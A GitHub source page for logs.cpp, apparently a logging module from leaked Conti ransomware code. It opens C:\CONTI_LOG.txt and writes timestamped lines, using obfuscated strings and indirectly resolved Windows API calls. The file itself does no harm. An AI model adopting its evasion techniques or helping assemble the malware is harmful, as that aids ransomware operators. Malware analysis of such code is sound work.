-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathlogs.cpp
64 lines (47 loc) · 1.21 KB
/
logs.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include "logs.h"
STATIC CRITICAL_SECTION g_CritSec;
STATIC HANDLE g_LogHandle = INVALID_HANDLE_VALUE;
VOID
logs::Init()
{
pInitializeCriticalSection(&g_CritSec);
g_LogHandle = pCreateFileW(
OBFW(L"C:\\CONTI_LOG.txt"),
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
NULL);
pSetFilePointer(g_LogHandle, 0, NULL, FILE_END);
}
VOID
logs::Write(LPCWSTR Format, ...)
{
if (g_LogHandle != INVALID_HANDLE_VALUE) {
va_list Args;
WCHAR Buffer[1024];
va_start(Args, Format);
RtlSecureZeroMemory(Buffer, sizeof(Buffer));
INT Size = pwvsprintfW(Buffer, Format, Args);
va_end(Args);
if (Size > 0) {
LPCWSTR clrf = OBFW(L"\r\n");
Size *= sizeof(WCHAR);
DWORD dwWritten;
pEnterCriticalSection(&g_CritSec);
{
WCHAR TimeBuffer[128];
SYSTEMTIME st;
GetLocalTime(&st);
INT TimeSize = wsprintfW(TimeBuffer, OBFW(L"[%02d:%02d:%02d] "), st.wHour, st.wMinute, st.wSecond);
if (TimeSize) {
pWriteFile(g_LogHandle, TimeBuffer, TimeSize * sizeof(WCHAR), &dwWritten, NULL);
}
pWriteFile(g_LogHandle, Buffer, Size, &dwWritten, NULL);
pWriteFile(g_LogHandle, clrf, 4, &dwWritten, NULL);
}
pLeaveCriticalSection(&g_CritSec);
}
}
}